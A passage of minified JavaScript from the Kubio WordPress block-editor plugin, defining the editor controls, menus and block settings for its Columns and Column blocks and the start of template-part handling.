0:e.equalWidth.value)||t)&&(0,Je.jsx)(ut.ToggleGroupWithPath,{options:ut.UIUtils.itemsPerRowOptions,label:(0,We.__)("Columns per row","kubio"),type:"prop",path:"layout.itemsPerRow",media:"current"}),o&&(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Equal height columns","kubio"),type:"prop",media:"current",path:"layout.equalHeight"}),n]}))),yr=(0,Ne.withComputedData)((e=>({equalHeight:e.getPropInMedia("layout.equalHeight")})))((({computed:e,supportsHorizontalPosition:t=!0})=>{const{equalHeight:o}=e;return(0,Je.jsxs)(Re.PanelBody,{initialOpen:!1,title:(0,We.__)("Spacing and alignment","kubio"),children:[(0,Je.jsx)(ut.SpacingWithPath,{path:"layout.horizontalGap",type:"prop",media:"current",label:(0,We.__)("Horizontal spacing","kubio")}),(0,Je.jsx)(ut.SpacingWithPath,{path:"layout.verticalGap",type:"prop",media:"current",label:(0,We.__)("Vertical spacing","kubio")}),(0,Je.jsx)(ut.SpacingWithPath,{path:"layout.horizontalInnerGap",type:"prop",media:"current",label:(0,We.__)("Horizontal inner spacing","kubio")}),(0,Je.jsx)(ut.SpacingWithPath,{path:"layout.verticalInnerGap",type:"prop",media:"current",label:(0,We.__)("Vertical inner spacing","kubio")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),!o&&(0,Je.jsx)(ut.VerticalAlignControlWithPath,{path:"layout.verticalAlign",type:"prop",media:"current",label:(0,We.__)("Columns vertical position","kubio")}),t&&(0,Je.jsx)(ut.HorizontalAlignControlWithPath,{path:"layout.horizontalAlign",type:"prop",media:"current",label:(0,We.__)("Columns horizontal position","kubio")})]})})),kr=({onlyEqualWidth:e,beforeComponent:t,afterComponent:o,afterLayoutAndSpacing:n,supportsEqualHeightColumns:a=!0,supportsHorizontalPosition:i=!0})=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[t,(0,Je.jsx)(gr,{supportsEqualHeightColumns:a,onlyEqualWidth:e,afterLayoutAndSpacing:n}),(0,Je.jsx)(yr,{supportsHorizontalPosition:i}),o]}),fr=({dataHelper:e})=>{const{canInsertBlockType:t}=(0,Le.useSelect)((e=>e("core/block-editor")),[]),{clientId:o}=e,{clientId:n}=e.withParent(),{insertBlock:a}=(0,Le.useDispatch)("core/block-editor"),{rowIndex:i}=(0,Le.useSelect)((e=>{var t;return{rowIndex:null===(t=e("core/block-editor").getBlockOrder(n))||void 0===t?void 0:t.indexOf(o)}})),r=({after:e=!1}={})=>{const t=(0,gt.createBlocksFromInnerBlocksTemplate)([pa()])[0],o=e?i+1:i;a(t,Math.max(o,0),n)};return t(hn.ROW,n)?(0,Je.jsx)(st.BlockSettingsMenuControls,{children:(0,Je.jsxs)(Re.MenuGroup,{className:"kubio-block-settings-control",children:[(0,Je.jsx)(Re.MenuItem,{onClick:()=>r(),children:(0,We.__)("Add row of columns before","kubio")}),(0,Je.jsx)(Re.MenuItem,{onClick:()=>r({after:!0}),children:(0,We.__)("Add row of columns after","kubio")})]})}):(0,Je.jsx)(Je.Fragment,{})},_r=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"})}),vr=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})}),xr=(0,Je.jsx)(Bn.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Bn.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})}),Cr=(0,Je.jsx)(Bn.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Bn.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})}),Ir=({dataHelper:e})=>{var t;const o=null===(t=e)||void 0===t?void 0:t.clientId,n=e.wrapperStyledComponent,a=(0,Ne.useActiveMedia)(),{ancestor:i}=(0,Ne.useAncestorContext)(),r=e.withSiblings(),s={styledComponent:n,media:a,ancestor:i,fromRoot:!0},l=y(),u=(0,Ne.useDeepMemo)((()=>je().orderBy(l,(e=>e.order))),[l]),c=(0,Me.useRef)(),{orientation:p,currentIndex:d}=(0,Le.useSelect)((e=>{const{getBlockListSettings:t,getBlockIndex:n,getBlockRootClientId:a}=e("core/block-editor"),i=a(o),r=n(o,i),{orientation:s}=t(i)||{};return{currentIndex:r,orientation:s}}),[o]);let m=e.getLocalStyle("order",d+1,s),h=je().findIndex(u,(e=>e.order===m));const b=0===h,g=h===r.length-1;function y(){return r.map(((e,t)=>({order:e.getLocalStyle("order",t+1,s),index:t,clientId:e.clientId})))}const k=t=>{(function(){let t=!1;const o=function(){const e=je().keyBy(r,"clientId");return u.map((t=>je().get(e,t.clientId)))}();if(je().forEachRight(o,((e,o)=>{const n=e.getLocalStyle("order",null,s),a=n===o+1;null!==n&&a||e.setLocalStyle("order",o+1,s),a||(t=!0)})),t){const t=y(),o=je().orderBy(t,(e=>e.order));e=r.find((t=>{var o;return t.clientId===(null===(o=e)||void 0===o?void 0:o.clientId)})),m=e.getLocalStyle("order",d+1,s),h=je().findIndex(o,(e=>e.order===m))}})(),function(t){const o=e,n="left"===t?m-1:m+1,a=r.find((e=>e.getLocalStyle("order",null,s)===n)),i=m,l=a.getLocalStyle("order",null,s);isNaN(i)||isNaN(l)||(o.setLocalStyle("order",l,s),a.setLocalStyle("order",i,s))}(t)},f="kubio-reorder-controls-toolbar",_=["desktop","tablet","mobile"].map((e=>`kubio-on--${e}`));(0,Me.useEffect)((()=>{setTimeout((()=>{const e=c.current;if(!e)return;const t=e.closest(".block-editor-block-contextual-toolbar");t&&(t.classList.contains(f)||t.classList.add(f),_.forEach((e=>{t.classList.contains(e)&&t.classList.remove(e),t.classList.add(`kubio-on--${a}`)})))}),0)}),[a]);const v=`is-${p}`,x=Er("left",p),C=Er("right",p),I=b,E=g,T="desktop"===a;return(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)("div",{ref:c,className:Ge()("kubio-toolbar-reorder-controls","is-visible",`is-${p}`,"block-editor-block-mover",v,{"d-none":T}),children:(0,Je.jsxs)(Re.ToolbarGroup,{className:"block-editor-block-mover__move-button-container",children:[(0,Je.jsx)(Re.ToolbarButton,{className:Ge()("block-editor-block-mover-button","is-up-button"),icon:x,onClick:()=>{k("left")},"aria-disabled":I}),(0,Je.jsx)(Re.ToolbarButton,{className:Ge()("block-editor-block-mover-button","is-down-button"),icon:C,onClick:()=>{k("right")},"aria-disabled":E})]})})})};function Er(e,t){return"left"===e?"horizontal"===t?(0,We.isRTL)()?_r:vr:xr:"right"===e?"horizontal"===t?(0,We.isRTL)()?vr:_r:Cr:null}const Tr=[hn.COLUMN],Sr=(0,De.compose)((0,Ne.withRemoveOnEmptyInnerBlocks)(),(0,Ne.withColibriDataAutoSave)(((e,t)=>({layoutByMedia:e.getPropByMedia("layout"),containerClass:t.containerClass}))),(0,Ne.withStyledElements)((e=>{const{computed:t={}}=e,{layoutByMedia:o}=t,n=new jn.LayoutHelper(o);return{[lr.CONTAINER]:{className:()=>[t.containerClass,...n.getRowGapClasses()].filter(Boolean)},[lr.INNER]:{className:()=>{let e=[];return e=e.concat(n.getRowAlignClasses(),n.getRowGapInnerClasses()),e}}}})),(0,Ne.withContainerBase)()),wr=Sr((e=>{const{StyledElements:t,Separators:o,Background:n,allowedBlocks:a=Tr,innerBlocks:i,onInnerBlocksChange:r,onInnerBlocksInput:s,templateLock:l,dataHelper:u,isSelected:c,customContainerProps:p={},customInnerStyledElement:d=null,clientId:m}=e,{parentLock:h}=(0,Le.useSelect)((e=>{const t=e("core/block-editor").getBlockRootClientId(m);return{parentLock:e("core/block-editor").getTemplateLock(t)}}),[m]);let b=e.dataHelper.getAttribute("templateLock",l);(0,Ae.isUndefined)(b)&&(b=h),b=(0,Ne.normalizeTemplateLock)(b);const g=(0,Me.useRef)(),y=bn({},{allowedBlocks:a,orientation:"horizontal",value:i,templateLock:b,renderAppender:!1,onChange:r,oninput:s});return(0,Je.jsxs)(Je.Fragment,{children:[c&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Ir,{dataHelper:u}),(0,Je.jsx)(ti,{...e}),(0,Je.jsx)(fr,{dataHelper:u})]}),(0,Je.jsxs)(t.Container,{ref:g,...p,children:[(0,Je.jsx)(n,{}),(0,Je.jsx)(o,{}),!d&&(0,Je.jsx)(t.Inner,{...y}),d&&(0,Ae.isFunction)(d)?d(t,y):d]})]})})),Pr=function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(kr,{}),(0,Je.jsx)(cr,{}),(0,Je.jsx)(wr,{...e})]})};function Ar(){return(0,Je.jsx)(st.InnerBlocks.Content,{})}const jr=hn.COLUMN,Br=({dataHelper:e,hooks:t,after:o=!1}={})=>{const{getBlockIndex:n,insertBlock:a,getBlockRootClientId:i}=t,r=null==e?void 0:e.clientId,s=i(r),l=n(r,s),u=o?l+1:l;a((0,gt.createBlocksFromInnerBlocksTemplate)([pa()])[0],Math.max(u,0),s)},Nr={label:(0,We.__)("Add column","kubio"),enabled:e=>!(null!=e&&e.getProp("layout.equalWidth")),action:({dataHelper:e,event:t,hooks:o,ownerDocument:n})=>{ze(t),(({dataHelper:e,hooks:t,after:o=!1,ownerDocument:n}={})=>{const{getBlockIndex:a,insertBlock:i,getBlockRootClientId:r}=t,s=null==e?void 0:e.clientId,l=e.getProp("layout.equalWidth"),u=r(s),c=a(s,u);if(l){const e=o?c+1:c;i((e=>{const t=(0,gt.createBlock)(e,{});return t.innerBlocks=[],t})(jr),Math.max(e,0),u)}else{const t={createBlock:gt.createBlock,insertBlock:i,ownerDocument:n};qa(e,t)}})({dataHelper:e,hooks:o,after:!1,ownerDocument:n})}},Or={label:(0,We.__)("Add item","kubio"),enabled:e=>null==e?void 0:e.getProp("layout.equalWidth"),action:({dataHelper:e,event:t})=>{ze(t),(({dataHelper:e}={})=>{if(e.getProp("layout.equalWidth")){const t=e.withChildren();je().last(t).duplicate({unlink:!1})}})({dataHelper:e})}},Rr={label:(0,We.__)("Add row before","kubio"),action:({dataHelper:e,event:t,hooks:o})=>{ze(t),Br({dataHelper:e,hooks:o,after:!1})}},Dr={label:(0,We.__)("Add row after","kubio"),action:({dataHelper:e,event:t,hooks:o})=>{ze(t),Br({dataHelper:e,hooks:o,after:!0})}},Lr=[[Qe.CHANGE_IMAGE_VIDEO,Qe.CHANGE_BACKGROUND],[Nr,Or],[Rr,Dr],...Xe];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",hn.ROW,((e,t)=>t===hn.ROW?Lr:e));const Mr={name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,disabledOnSimpleMode:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},Wr=(0,Sn.extendBlockMeta)(Mr,{title:(0,We.__)("Columns","kubio"),icon:Tn.BlockIcons.Columns,keywords:[(0,We.__)("columns","kubio"),(0,We.__)("row","kubio"),(0,We.__)("column","kubio")],providesContext:{"kubio/parentKubio":"kubio"},apiVersion:2,variations:ma,supports:{kubio:{elementsByName:ur,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:Pr,save:Ar,innerBlocksDisableInBetweenInserter:!0});var Hr=o(9196),Gr=o.n(Hr);const Ur=({dataHelper:e})=>{const{canInsertBlockType:t}=(0,Le.useSelect)((e=>e("core/block-editor")),[]),{clientId:o}=e.withParent(),{ownerDocument:n}=(0,Ne.useOwnerDocumentContext)(),{insertBlock:a}=(0,Le.useDispatch)("core/block-editor"),i=(0,Hr.useCallback)((({after:t=!1}={})=>{const o={after:t},i={createBlock:gt.createBlock,insertBlock:a,ownerDocument:n};Ka(e,i,o)}),[e]);return t(hn.COLUMN,o)?(0,Je.jsx)(st.BlockSettingsMenuControls,{children:(0,Je.jsxs)(Re.MenuGroup,{className:"kubio-block-settings-control",children:[(0,Je.jsx)(Re.MenuItem,{onClick:()=>i(),children:(0,We.__)("Add column before","kubio")}),(0,Je.jsx)(Re.MenuItem,{onClick:()=>i({after:!0}),children:(0,We.__)("Add column after","kubio")})]})}):(0,Je.jsx)(Je.Fragment,{})},Fr={local:!0,styledComponent:dr},zr=(e,t,o)=>{const n=e.getStyle("columnWidth",{},Fr);if("px"===(0,Ae.get)(n,"custom.unit","%"))e.setStyle("columnWidth",{type:"custom",custom:{value:parseFloat(t),unit:"px"}},Fr);else{const n=o.closest('[data-kubio="kubio/row"]').getBoundingClientRect().width,a=parseFloat(t)/n*100;e.setStyle("columnWidth",{type:"custom",custom:{value:parseFloat((Math.floor(100*a)/100).toFixed(2)),unit:"%"}},Fr)}},Vr=[{label:(0,We.__)("A quarter","kubio"),value:25},{label:(0,We.__)("A third","kubio"),value:33.3333},{label:(0,We.__)("Half","kubio"),value:50},{label:(0,We.__)("Two thirds","kubio"),value:66.6666},{label:(0,We.__)("Three quarters","kubio"),value:75}],Yr=(0,De.compose)((0,Ne.refreshOnParentChange)(),(0,Le.withSelect)(((e,t)=>{const{clientId:o}=t,{getBlockOrder:n}=e("core/block-editor");return{isEmpty:0===n(o).length}})),(0,Ne.withColibriDataAutoSave)(((e,t)=>{const{isEmpty:o}=t,{defaultOptions:n}=(0,Ne.useDataHelperDefaultOptionsContext)(),a=!(null!=n&&n.inheritedAncestor),i=e.withParent().getPropByMedia("layout"),r=e.getPropByMedia("layout"),s=e.getStyleByMedia("columnWidth",{},{styledComponent:dr,local:!0}),l=e.getStyleByMedia("customHeight",null,{styledComponent:dr,fromRoot:!0}),u="custom"===e.getStyle("columnWidth.type");return{rowLayoutByMedia:i,layoutByMedia:r,columnWidthByMedia:s,columnWidthType:e.getStyle("columnWidth.type"),isCustomWidth:u,isEmpty:o,canUseHtml:a,containerClass:t.containerClass,customHeightOnContainerPerMedia:l}})),(0,Ne.withDynamicStyles)((e=>{const t=e.getPropByMedia("layout.vSpace",{});return{[mr]:jn.dynamicStylesTransforms.vSpace(t)}})),(0,Ne.withStyledElements)((({computed:e={}}={})=>{const{isEmpty:t,layoutByMedia:o,rowLayoutByMedia:n,columnWidthByMedia:a,canUseHtml:i,containerClass:r}=e,s=new jn.LayoutHelper(o,n);return{[dr]:{className:()=>{let e=[];return e=e.concat(s.getColumnLayoutClasses(a,i),s.getInheritedColumnVAlignClasses(),[r]),e.filter(Boolean)}},[pr]:{className:()=>{let e=[];return t&&e.push("h-ui-empty-state-container"),e=e.concat(s.getColumnInnerGapsClasses()),e}},[hr]:{className:()=>{var e;let o=[];const i=null==a?void 0:a.desktop,r=null==n||null===(e=n.desktop)||void 0===e?void 0:e.equalWidth;return o=o.concat(s.getColumnContentFlexBasis(r,i)),t?o.push("min-height-100"):o=o.concat(s.getSelfVAlignClasses()),o}}}})),(0,Ne.withContainerBase)()),$r=Yr((e=>{var t;const{StyledElements:o,Separators:n,Background:a,dataHelper:i,isSelected:r,computed:s,afterInnerBlocks:l=null,clientId:u}=e,c=(0,Me.useMemo)((0,Ne.normalizeTemplateLock)((()=>i.getAttribute("templateLock",!1))),[i]),p=bn({},{templateLock:c});!function(e,t){const{customHeightOnContainerPerMedia:o}=t;(0,Me.useLayoutEffect)((()=>{je().each(o,((t,o)=>{t&&(e.setStyle("customHeight",null,{styledComponent:dr,unset:!0,media:o}),e.setStyle("customHeight",t,{styledComponent:pr,media:o}))}))}),[])}(i,s);const{rowLayoutByMedia:d}=s,m=null==d||null===(t=d.desktop)||void 0===t?void 0:t.equalWidth,{containerRef:h,onChange:b,referance:g,unit:y}=(e=>{const t=(0,Me.useRef)(),o=(0,Me.useRef)(),n=(0,Ne.useUndoTrapDispatch)(),a=e.getStyle("columnWidth",{},Fr),i=(0,Ae.get)(a,"custom.unit","%"),r=(0,Me.useMemo)((()=>e.getStyle("columnWidth",{},Fr)),[e]);t.current=e;const s=(0,Me.useCallback)((({current:e,sibling:a})=>{const i=t.current,r=o.current;let s=null;if(a){var l;const e=null===(l=a.element)||void 0===l?void 0:l.closest("[data-block]"),t=null==e?void 0:e.getAttribute("data-block");t&&(s=i.withClientId(t))}n((()=>{zr(i,e,r),s&&zr(s,a.current,r)}))}),[]);return{containerRef:o,referance:r,onChange:s,unit:i}})(i);return(0,Je.jsxs)(Je.Fragment,{children:[r&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Ir,{dataHelper:i}),(0,Je.jsx)(ti,{dataHelper:i.withParent()}),(0,Je.jsx)(Ur,{dataHelper:i})]}),(0,Je.jsxs)(o.Container,{ref:h,children:[(0,Je.jsxs)(o.Inner,{children:[(0,Je.jsx)(a,{}),(0,Je.jsx)(n,{}),(0,Je.jsx)(o.Align,{...p}),l]}),(0,Je.jsx)(ut.CanvasResizeControl,{containerRef:h,enabled:!m,onChange:b,maxToContainer:!0,clientId:i.clientId,referance:g,affectNext:!0,forceVisible:r,snapPoints:Vr,tooltipUnit:y})]})]})})),Kr=jn.columnWidth.ColumnWidthTypes,qr=[Kr.FLEX_GROW,Kr.FIT_TO_CONTENT],Xr=(0,De.compose)([(0,Ne.withComputedData)((e=>{const t=e.withParent(),o=e.clientId,n=(0,Ne.useDataHelperPathForStyle)(e,"columnWidth",{local:!0,styledComponent:dr}),a=(0,Me.useMemo)((()=>({equalWidth:t.getProp("layout.equalWidth"),onEqualWidthChange:(e,n)=>{const a=ua(t.getPropByMedia("layout"),e);t.group((()=>{t.withChildren().forEach((t=>{Object.keys(a).forEach((i=>{let r=a[i];t.clientId===o&&!e&&qr.includes(n)&&(r={type:n}),t.setLocalStyle("columnWidth",r,{styledComponent:dr,media:i})}))})),t.setProp("layout.equalWidth",e)}))}})),[t]),i=(0,Ne.useDataHelperPathForStyle)(e,"customHeight",{styledComponent:pr},{});return{row:(0,Me.useMemo)((()=>t.usePropPath("layout.itemsPerRow",{media:"current"})),[t]),heightProps:i,widthProps:{...n,...a}}}))])((({computed:e,onlyEqualWidth:t=!1})=>{var o;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Layout","kubio"),children:[!t&&(0,Je.jsx)(ut.CustomWidthControl,{...null==e?void 0:e.widthProps,label:(0,We.__)("Column width","kubio")}),((null==e||null===(o=e.widthProps)||void 0===o?void 0:o.equalWidth)||t)&&(0,Je.jsx)(ut.ToggleGroup,{options:ut.UIUtils.itemsPerRowOptions,label:(0,We.__)("Columns per row","kubio"),...null==e?void 0:e.row}),(0,Je.jsx)(ut.CustomHeightControl,{label:(0,We.__)("Column height","kubio"),...null==e?void 0:e.heightProps}),(0,Je.jsx)(ut.VerticalAlignControlWithPath,{path:"layout.verticalAlign",type:"prop",media:"current",label:(0,We.__)("Content vertical position","kubio")}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",style:pr,label:(0,We.__)("Horizontal align","kubio")})]})})),Qr=[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}},{axis:"z"}],Zr=({computed:e,dataHelper:t})=>{const{isColumnOverlaped:o,translateX:n,translateY:a}=e,[i,r]=(0,Me.useState)(o),s=(0,Me.useCallback)((e=>{t.setStyle("transform.translate",e?Qr:void 0,{unset:!e}),r(e)}),[t]),l=(0,Me.useCallback)((()=>{r(o)}),[o]),u={type:Ne.WithDataPathTypes.STYLE,units:["px"],min:-100,capMin:!1,capMax:!1,max:100};return(0,Je.jsx)(ut.PopoverOptionsButton,{label:(0,We.__)("Overlap other columns","kubio"),toggable:!0,onToggleChange:s,enabled:i,popoverWidth:300,onPopoverClose:l,popupContent:(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)("div",{className:"h-dummy-focus-control",children:(0,Je.jsxs)(Re.BaseControl,{children:[(0,Je.jsx)(ut.ToggleControl,{}),(0,Je.jsx)(Re.BaseControl,{})]})}),(0,Je.jsx)(ut.RangeWithUnitControl,{...u,label:(0,We.__)("Vertical overlap","kubio"),...a}),(0,Je.jsx)(ut.RangeWithUnitControl,{...u,label:(0,We.__)("Horizontal overlap","kubio"),...n}),(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Depth (z-index)","kubio"),type:Ne.WithDataPathTypes.STYLE,path:"z-index",min:0,numeric:!0,inline:!0,allowReset:!0,className:"column-depth-control"})]})})},Jr=(0,De.compose)((0,Ne.withComputedData)((e=>{var t,o;const{globalStyle:n}=(0,bt.useGlobalDataStyle)(),a=e.withParent(),i={hSpacing:a.usePropPath("layout.horizontalGap",{media:"current"}),vSpacing:a.usePropPath("layout.verticalGap",{media:"current"})},r=(0,Ne.useTransformStyle)(e),s=r.useStylePath("transform.translate.x",{},{value:0,unit:"px"}),l=r.useStylePath("transform.translate.y",{},{value:0,unit:"px"}),u=parseInt(e.getStyle("z-index"));return{row:i,vSpaceDefault:n.getPropInMedia("vSpace"),translateX:s,translateY:l,isColumnOverlaped:!!(null!=s&&null!==(t=s.value)&&void 0!==t&&t.value||null!=l&&null!==(o=l.value)&&void 0!==o&&o.value||u)}})))((e=>{const{computed:t,canOverlap:o,withContentElementsVerticalSpacing:n=!0}=e,{row:a,vSpaceDefault:i}=t;return(0,Je.jsxs)(ut.KubioPanelBody,{initialOpen:!1,title:(0,We.__)("Spacing and alignment","kubio"),children:[(0,Je.jsx)(ut.SpacingSelect,{label:(0,We.__)("Horizontal space between columns","kubio"),...null==a?void 0:a.hSpacing}),(0,Je.jsx)(ut.SpacingSelect,{label:(0,We.__)("Vertical space between columns","kubio"),...null==a?void 0:a.vSpacing}),(0,Je.jsx)(ut.InnerSpacingWithPath,{path:"layout.horizontalInnerGap",type:"prop",media:"current",label:(0,We.__)("Horizontal column inner spacing","kubio")}),(0,Je.jsx)(ut.InnerSpacingWithPath,{path:"layout.verticalInnerGap",type:"prop",media:"current",label:(0,We.__)("Vertical column inner spacing","kubio")}),n&&(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Content elements vertical spacing","kubio"),type:"prop",media:"current",defaultValue:i,path:"layout.vSpace"}),o&&(0,Je.jsx)(Zr,{...e})]})})),es=({onlyEqualWidth:e,canOverlap:t=!0,beforeComponent:o,afterComponent:n})=>(0,Je.jsxs)(Oe.ContentInspectorControls,{children:[o,(0,Je.jsx)(Xr,{onlyEqualWidth:e}),(0,Je.jsx)(Jr,{canOverlap:t}),n]}),ts=()=>{const e=je().get(br,pr);return(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(ut.BackgroundSection,{styledElement:e}),(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Border & Shadow","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.BordersAndRadiusWithPath,{type:Ne.WithDataPathTypes.STYLE,path:"border"}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxShadowWithPath,{label:(0,We.__)("Box shadow","kubio"),path:"boxShadow",type:Ne.WithDataPathTypes.STYLE,style:pr})]})]})},os=({dataHelper:e,hooks:t,after:o=!1,ownerDocument:n}={})=>{const{insertBlock:a}=t,i={after:o},r={createBlock:gt.createBlock,insertBlock:a,ownerDocument:n};Ka(e,r,i)},ns=[[Qe.CHANGE_IMAGE_VIDEO,Qe.CHANGE_BACKGROUND],[{label:(0,We.__)("Add column before","kubio"),action:({dataHelper:e,event:t,hooks:o,ownerDocument:n})=>{ze(t),os({dataHelper:e,hooks:o,after:!1,ownerDocument:n})}},{label:(0,We.__)("Add column after","kubio"),action:({dataHelper:e,event:t,hooks:o,ownerDocument:n})=>{ze(t),os({dataHelper:e,hooks:o,after:!0,ownerDocument:n})}}],...Xe];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",hn.COLUMN,((e,t)=>t===hn.COLUMN?ns:e));const as={name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,disabledOnSimpleMode:!1,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},is=(0,Sn.extendBlockMeta)(as,{title:(0,We.__)("Column","kubio"),icon:Tn.BlockIcons.Columns,keywords:[],apiVersion:2,parent:[Wt.ROW],supports:{kubio:{elementsByName:br},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(es,{}),(0,Je.jsx)(ts,{}),(0,Je.jsx)($r,{...e})]})},save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variationsFilter:e=>(null!=e&&e.isDefault&&(0,Ae.set)(e,"attributes.kubio._style.descendants.container.columnWidth",{type:"custom",custom:{value:50,unit:"%"}}),e),forceEnableOnSimpleMode:e=>{const t=(0,Ae.get)(e.attributes,["kubio","style","descendants","inner","background","type"]);return["image","slideshow","video"].includes(t)}}),rs=e=>({slug:t,theme:o})=>{var n;if(!t)return;const a=(0,Le.select)(Bt.store).getEntityRecord("postType","wp_template_part",o+"//"+t);return a?(0,We.sprintf)(e,(0,Ae.startCase)((null===(n=a.title)||void 0===n?void 0:n.rendered)||a.slug)):void 0},ss=window.wp.editor;function ls({tagName:e,setAttributes:t,isEntityAvailable:o,templatePartId:n,defaultWrapper:a}){const[i,r]=(0,Bt.useEntityProp)("postType","wp_template_part","area",n),[s,l]=(0,Bt.useEntityProp)("postType","wp_template_part","title",n),{areaOptions:u}=(0,Le.useSelect)((e=>({areaOptions:e(ss.store).__experimentalGetDefaultTemplatePartAreas().map((({label:e,area:t})=>({label:e,value:t})))})),[]);return(0,Je.jsxs)(st.InspectorAdvancedControls,{children:[o&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Re.TextControl,{label:(0,We.__)("Title","kubio"),value:s,onChange:e=>{l(e)},onFocus:e=>e.target.select()}),(0,Je.jsx)(Re.SelectControl,{label:(0,We.__)("Area","kubio"),labelPosition:"top",options:u,value:i,onChange:r})]}),(0,Je.jsx)(Re.SelectControl,{label:(0,We.__)("HTML element","kubio"),options:[{label:(0,We.sprintf)(/* translators: %s: HTML tag based on area. */ /* translators: %s: HTML tag based on area. */(0,We.__)("Default based on area (%s)","kubio"),`<${a}>`),value:""},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"},{label:"<div>",value:"div"}],value:e||"",onChange:e=>t({tagName:e})})]})}const us=[hn.SECTION,hn.NAVIGATION];function cs({postId:e,hasInnerBlocks:t,tagName:o,blockProps:n,innerBlocksProps:a,displayAppender:i=!1,innerBlocks:r}){const[s,l,u]=(0,Bt.useEntityBlockEditor)("postType","wp_template_part",{id:e}),c=!s.length&&null!=r&&r.length?r:s,p=bn(n,{value:c,onInput:l,onChange:u,renderAppender:t?i:st.InnerBlocks.ButtonBlockAppender,allowedBlocks:us,...a});return(0,Je.jsx)(o,{...p})}const ps=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"})}),ds=window.wp.notices;function ms(){return(0,Je.jsx)("div",{className:"wp-block-template-part__selection-preview-item 